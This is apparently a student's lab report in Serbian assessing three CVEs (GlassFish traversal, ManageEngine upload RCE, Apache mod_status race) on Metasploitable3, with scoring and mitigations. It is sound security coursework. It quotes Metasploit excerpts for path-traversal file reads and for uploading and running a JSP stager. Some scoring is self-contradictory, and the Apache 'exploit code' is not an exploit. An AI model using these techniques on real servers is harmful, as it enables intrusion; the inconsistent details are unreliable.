Vulnerability Assessment Report

Ime i prezime: Luka Zelović
Tim: 9
Datum: 3.11.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID: CVE – 2017 – 1000028**

- **Opis:**
  CVE-2017-1000028 predstavlja Directory Traversal ranjivost koja omogućava neautenifikovanim napadačima da pristupaju sadržaju koji bi trebao biti zaštićen ili skriven. Ovo se postiže formiranjem specijalnih HTTP GET zahteva

    - **Ime servisa:** Oracle GlassFish Server Open Source Edition
    - **Port:** 4848
    - **Protokol:** TCP

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 7.5**
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    - **AV (Attack Vector) – Network** (Eksploatacija se može dogoditi preko mreže, kao što je internet)
    - **AC (Attack Complexity) – Low** (Ovaj napad je lako izvesti i ne zahteva mnogo tehničkog znanja)
    - **PR (Privileges Required) – None** (Napadaču nisu potrebni specifični priviligiji ili nalog za uspešnu eksploataciju)
    - **UI (User Interaction) – None** (Eksploatacija ne zahteva interakciju korisnika)
    - **S (Scope) – Unchanged** (Opseg ranjivosti nije promenjen)
    - **C (Confidentiality Impact) – High** (Poverljivost ozbiljno narušena, napadač dobija pristup zaštićenim informacijama)
    - **I (Integrity Impact) – None** (Ne utiče na integritet)
    - **A (Availability Impact) – None** (Ne utiče na integritet)

- **Opravdanje:**

Eksploatabilnost – Eksploatabilnost ove ranjivosti je jednostavna i ne zahteva visoko tehničko znanje a uz to može da se izvrši putem interneta (bez fizičkog konktakta).

Impact – Ova ranjivost ne utiče na intergritet (ne dolazi do promene podatka) i dostupnost (ne narušava pristup samom sistemu) ali omogućava pristup osetljvim informacijama zbog čega dolazi do ogromnog narušavanja poverljivosti

Obim – Napadači mogu da eksploatišu ovu ranjivost samo unutar ranjivog sistema – ranjivost ne utiče na druge sisteme.

Zbog visoke eksploatabilnosti i velikog uticaja na poverljivost, ova ranjivost dobija visok CVVS skor ali nije kritičan ipak jer nema uticaja na dostupnost i integritet, niti veliki obim.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit : Da, https://www.exploit-db.com/exploits/45196**
- **Opis eksploita:**
  Exploit cilja Oracle GlassFish Server Open Source Edition verziju 4.1. odnosno administrativnu konzolu na ovom serveru koja je dostupna na portu 4848. Koristi directory traversal ranjivost da omogući neautentifikovanim korisnicima (napadačima) da dobiju pristup sadržaju koji bi trebao biti zaštićen ili skriven. Do tog sadržaja napadači dolaze korišćenjem niza sekvenci specijalnih karaktera koji se jos nazivaju path traversal sekvence. Korišćenjem tih sekvenci koje se dodaju u URL, napadač izlazi iz dozvoljenih direktorijuma i dobija pristup fajlovima na drugim putanjama. Zbog toga, posledica ovog exploita jeste curenje osetljivih podataka kao i curenje podataka koji mogu da se iskoriste i za neke dalje napade na sistem

Kod eksploita (ukoliko postoji):

```
  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "%c0%af.." * datastore['DEPTH'] << filename

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "/theme/META-INF/prototype#{traversal}"
    })

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    vprint_good("#{peer} - #{res.body}")
    path = store_loot(
      'oracle.traversal',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end
```

1. Prvo definišemo ime fajla koji predstavlja cilj napada
2. Zatim generišemo traversal sekvencu (“%c0%af) pomoću koje možemo da izađemo iz trenutno direktorijuma, dok datastore[‘DEPTH’] definise koliko puta ce ponavljati ova sekvenca (koliko puta cemo ići “unazad” da bi stigle do željenog direktorijuma)
3. Slanje HTTP GET zahteva u kojem se nalaze traversal sekvence
4. Provera da li je zahtev uspešan, ako jeste preuzimamo fajl koji je bio cilj ovog napada

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

- Ranjivost CVE-2017-1000028 uvedena je u Oracle GlassFish Server Open Source Edition verziji 4.1. i nije vezana za specifičnu biblioteku vec je problem u samoj konfiguraciji i implementaciji servera.
- Ona se javlja zbog neadekvatne validacije korisničkog ulaza koja omogućava napadačima da koristie directory traversal kako bi pristupili zastićenim ili skrivenim datotekama.

- **Primer Koda (ako je primenljivo):**

  Nema javno dostupnog primera koda za ovu ranjivost ali uzrok leži u nedostatku validacije unosa korisnika, što omogućava napačima da eksploatišu ranjivost.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**

- **Mitigation Strategy:**

  1. Preuzeti vendor patch sa zvaničnog Oracle sajta ili Oracle Support platforme
  2. Zaustaviti GlassFish server pokretanjem komande : asadmin stop-domain <imedomena>
  3. Instalacija patch-a
  4. Ponovo pokrenuti server komandom : asadmin start-domain <ime-domena>

  Za automatizaciju primene patch-ova moguce je koristiti alate koa sto su Ansible ili Puppet.

---

1. Enumeracija CVE-a

- **CVE ID: CVE – 2015 – 8249**

- **Opis:**
  CVE – 2015 – 8249 predstavlja ranjivost koja utiče na klasu FileUploadServlet u aplikaciji ManageEngine Desktop Central verzije 9. Zahvaljujuci ovoj ranjivosti, udaljeni napadači putem parametara ConnectionId mogu neovlašćeno da učitavaju i izvršavaju fajlove na serveru, kao što su odredjene maliciozne skripte čime potencijalno preuzimaju kontrolu nad servisom ili dobijaju pristup podacima na serveru.

    - **Ime servisa:** ManageEngine Desktop Central
    - **Port:** 8020

- **Protokol:** HTTP

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 9,8**
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    - **AV (Attack Vector) – Network** (Eksploatacija se može dogoditi preko mreže, kao što je internet)
    - **AC (Attack Complexity) – Low** (Ovaj napad je lako izvesti i ne zahteva mnogo tehničkog znanja)
    - **PR (Privileges Required) – None** (Napadaču nisu potrebni specifični priviligiji ili nalog za uspešnu eksploataciju)
    - **UI (User Interaction) – None** (Eksploatacija ne zahteva interakciju korisnika)
    - **S (Scope) – Unchanged** (Opseg ranjivosti nije promenjen)
    - **C (Confidentiality Impact) – High** (Poverljivost ozbiljno narušena, napadač dobija pristup zaštićenim informacijama)
    - **I (Integrity Impact) – High** (Integritet je ozbiljno narušen, napadač može da menja ili dodaje maliciozne fajlove)
    - **A (Availability Impact) – High** (Dostupnost sistema je ozbiljno narušena, napadač može da dovede do prekida rada ili otežanog pristupa)

- **Opravdanje:**

  Eksploatabilnost – Eksploatabilnost ove ranjivosti je jednostavna i ne zahteva visoko tehničko znanje a uz to može da se izvrši putem interneta (bez fizičkog konktakta).

  Impact – Ova ranjivost ozbiljno narušava integritet, dostupnost i poverljvost sistema što omogućava da napadač dobije pristup zaštićenim podacima, menja ili dodaje maliciozne fajlove kao i da potencijalno onesposobi rad samog sistema,

  Obim – Napadači mogu da eksploatišu ovu ranjivost samo unutar ranjivog sistema – ranjivost ne utiče na druge sisteme.

  Zbog velikog uticaja na sistem u sva tri aspekta i lake eksploatacije, ova ranjivost dobija kritičan CVVS skor.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit : Da, https://www.exploit-db.com/exploits/38982**

- **Opis eksploita:**
  Exploit cilja ManageEngine Desktop Central verziju 9 preko klase FileUploadServlet koja služi za prijem fajlova na serveru. Ranjivost se javlja zbog nedostatka validacije parametra ConnectionId prilikom slanja fajlova što omogućava napadaču da umetne null byte (%00) u naziv datoteke koja se šalje. Na taj način, on dobija mogućnost učitavanja JSP (JavaServer Pages) skripte koja može da sadrži maliciozan kod. Nakon učitavanja, exploit automatski pokreće JSP skriptu čime napadač potencijalno preuzima potpunu kontrolu nad serverom. Posledice ovog exploita ogledaju se u gubitku podataka (brisanje, modifikacija ili kradja osetljivih informacija) kao i u mogućnosti širenja napada na druge sisteme.

- **Kod eksploita (ukoliko postoji):**

```
  def get_jsp_stager
    exe = generate_payload_exe(code: payload.encoded)
    jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
    # pwd: C:\ManageEngine\DesktopCentral_Server\bin
    # targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf
    register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

    {
      jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
      jsp_name:    jsp_fname
    }
  end
```

```
def upload_jsp(stager_info)
  uri = normalize_uri(target_uri.path, 'fileupload')

  res = send_request_cgi({
    'method'   => 'POST',
    'uri'      => uri,
    'ctype'    => 'application/octet-stream',
    'encode_params' => false,
    'data'     => stager_info[:jsp_payload],
    'vars_get' => {
      'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00",
      'resourceId'   => Rex::Text.rand_text_alpha(1),
      'action'       => 'rds_file_upload',
      'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
      'customerId'   => Rex::Text.rand_text_numeric(rand(10)+5)
    }
  })

  if res.nil?
    fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
  elsif res && res.code != 200
    fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
  end
end
```

```ruby
def exec_jsp(stager_info)
  uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

  res = send_request_cgi({
    'method' => 'GET',
    'uri'    => uri
  })

  if res.nil?
    fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
  elsif res && res.code != 200
    fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
  end
end
```

1. get_jsp_stager :
    - generiše JSP stager koji sadrži kod potreban za preuzimanje i izvršavanje malicioznog payload-a
2. upload_jsp :
    - šalje maliciozan JSP payload (generisan u prošloj funkciji) na server putem HTTP POST zahteva
    - u funkciji send_request_cgi, za content type se postavlja application/octet-stream što označava da se šalje binarni sadržaj (jer se JSP payload tretira kao binarni sadržaj)
    - u connectionId koristimo ../ da bi se navigirali kroz direktorijume i došli do željenog (jspf) u kom se nalazi naš jsp fajl. Na kraju connectionId postavljamo %00 , odnosno null byte koji predstavlja kraj stringa. Na taj način napadač može da zaobiđe sigurnosne provere servera i zaustavi obradjivanje imena datoteke.
3. exec_jsp :
    - izvršava JSP stager koji je prethodno postavljen na server
    - šalje HTTP GET zahtev na URL gde je JSP postavljen

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  CVE – 2015 – 8249 ranjivost javlja se u ManageEngine Desktop Central 9, odnosno u verzijama pre 91039. Ova ranjivost omogućava napadačima da učitavaju i izvršavaju odredjene fajlove putem ConnectionId parametra i neadekvatne validacije prilikom slanja fajlova u klasi FileUploadServlet.

- **Primer Koda (ako je primenljivo):**

Nema javno dostupnog primera koda za ovu ranjivost ali uzrok želi u nedostatku adekvatne validacije ulaznih podataka prilikom slanja fajlova, što omogućava napadačima da eksploatišu ranjivost.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**

  CVE – 2015 – 8249 ranjivost ispravljena je u build-u 91093 koji je objavljen 30. novembra 2015. godine. Ključne razlike u novoj verziji prisutne su u klasi FileUploadServlet u kojoj se sada nalazi dodatna provera ConnectionId parametra (StringUtils.isNumeric metoda koja provera da li se dati string sastoji samo od brojeva).

- **Mitigation Strategy:**

  5. Preuzeti ili ažurirati najnoviju verziju ManageEngine Desktop Central-a (važno da je verzija 91093 ili novija)
  6. Nakon preuzimanja/ažuriranja proveriti verziju softvera da bi se uverili da je patch uspešno primenjen
  7. Ako postoji više instanci MangeEngine Desktop Central-a, potencijalno iskoristiti alate za upravljanje ažuriranjima poput Ansible, Chef ili Puppet

---

1. Enumeracija CVE-a

- **CVE ID: CVE – 2014 – 0226**

- **Opis:**
  CVE – 2014 – 0226 ranjivost se odnosi na race condintion u modulu mod_status u Apache HTTP Server-u. Race condition je pojava kada dve ili više procesa (niti) pokušavaju da istovremeno pristupaju istim podacima i izvrše odredjene operacije, čime dolazi do neočekivanih rezultata. Ova ranjivost omogućava udaljenim napadačima da izvrše različite vrste napada koji imaju različite posledice kao što su :

  - DoS (Denial of Service) – uskraćivanje usluga
  - Pristup osetljvim informacijama
  - Izvršavanje proizvoljnog koda

  Uzrok ove ranjivosti leži u neispravnom rukovanju scoreboard-a što predstavlju strukturu podataka koja prati status radnih niti ili procesa servera.

  - **Ime servisa :** Apache HTTP Server

- **Port :** 80
- **Protokol :** HTTP

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 7,5**
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    - **AV (Attack Vector) – Network** (Eksploatacija se može dogoditi preko mreže, kao što je internet)
    - **AC (Attack Complexity) – Low** (Ovaj napad je lako izvesti i ne zahteva mnogo tehničkog znanja)
    - **PR (Privileges Required) – None** (Napadaču nisu potrebni specifični priviligiji ili nalog za uspešnu eksploataciju)
    - **UI (User Interaction) – None** (Eksploatacija ne zahteva interakciju korisnika)
    - **S (Scope) – Unchanged** (Opseg ranjivosti nije promenjen)
    - **C (Confidentiality Impact) – None** (Ranjivost ne utiče na poverljivost)
    - **I (Integrity Impact) – None** (Ranjivost ne utiče na integritet)
    - **A (Availability Impact) – High** (Dostupnost sistema je ozbiljno narušena, napadač može da dovede do prekida rada ili otežanog pristupa)

- **Opravdanje:**

  Eksploatabilnost – Eksploatabilnost ove ranjivosti je jednostavna i ne zahteva visoko tehničko znanje a uz to može da se izvrši putem interneta (bez fizičkog konktakta).

  Impact – Ova ranjivost ne utiče na poverljivost i integritet ali ozbiljno narušava njegovu dostupnost, odnosno potencijalno može da onesposobi njegov rad.

  Obim – Napadači mogu da eksploatišu ovu ranjivost samo unutar ranjivog sistema – ranjivost ne utiče na druge sisteme.

  Zbog jednostavne eksploatabilnosti i velikog uticaja na dostupnost sistema, ova ranjivost ima visok CVVS skor.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit : Da, https://www.exploit-db.com/exploits/34133**
- **Opis eksploita:**
  Exploit cilja Apache HTTP Server i koristi race condition grešku u modulu mod_status. Kada viši niti pokušavaju da pristupe istim podacima, može doći do situacije kada jedna nit preuzima kontrolu nad promenom podataka druge niti. Na taj način dolazi do :
    - Heap buffer overflow-a – omogućava napadaču da preuzme kontrolu nad memorijom servera
    - Potencijalno otkrivanje osetljivih informacija
    - DoS (Denial of Service) – pad sistema

Kod eksploita (ukoliko postoji):

```
AP_DECLARE(char *) ap_escape_logitem(apr_pool_t *p, const char*str)
{
    char *ret;
    unsigned char *d;
    const unsigned char *s;
    apr_size_t length, escapes = 0;

    if (!str) {
      return NULL;
    }

    /* Compute how many characters need to be escaped */
    s = (const unsigned char *)str;
    for (; *s; ++s) {
        if (TEST_CHAR(*s, T_ESCAPE_LOGITEM)) {
            escapes++;
        }
    }

    /* Compute the length of the input string, including NULL
*/
    length = s - (const unsigned char *)str + 1;

    /* Fast path: nothing to escape */
    if (escapes == 0) {
        return apr_pmemdup(p, str, length);
    }
```

- ap_escape_logitem
    - funkcija u Apache serveru koja služi za detekciju specijalnih karaktera u stringu pre nego što se on zapiše u log
    - specijalni karakteri poput novih linija i slično se detektuju a zatim transformišu kako bi se smanjio rizik od neispravnog unosa u logove
    - za prepoznavanje specijalnih karaktera koristi TEST_CHAR(*s, T_ESCAPE_LOGITEM)
- prilikom istovremenog pristupa funkciji ap_escpae_logitem može doći do sledećih potencijalnih problema :
    - nesinhrovani pristup podacima
        - Jedna nit čita sadržaj stringa
        - Druga nit menja string tokom ove obrade
        - Funkcija onda potencijalno može da detektuje dužinu stringa na osnovu starog sadržaja, dok zapravo kopira novi
    - Nepotpuno kopiranje i preliv memorije
        - Ukoliko je došlo do promene stringa tokom rada prve niti, funkcija apr_pmemdup kopira samo deo sadržaja dok se ostatak memorijskog prostora popunjava nasumičnim vrednostima
        - To rezultuje u curenju memorije ili otkrivanje poverljivih podataka

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  CVE – 2014 – 0226 ranjivost javlja se unutar mod_status modula Apache HTTP servera verzije 2.4.x, uključujući verzije od 2.4.0 do 2.4.9.

- **Primer Koda (ako je primenljivo):**

  Nema javno dostupnog primera koda za ovu ranjivost ali uzrok leži u neadekvatnoj sinhronizaciji strukture scoreboard-a. Zbog toga može doći do istovremenog pristupanja i menjanja scoreboard-a od strane više niti što rezultuje u race condition-u.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**

- **Mitigation Strategy:**

    1. Proveriti verziju Apache servera

2. Posetiti zvaničnu stranicu Apache HTTP servera i preuzeti najnoviju stabilnu verziju (2.4.10 ili noviju) jer je ranjivost rešena u tim verzijama
3. Primeniti patch
4. Nakon primene patch-a testirati sistem

Alati poput Ansible, Chef ili Puppet mogu se iskorisitit za upravljanje i primenu patch-ova na više servera.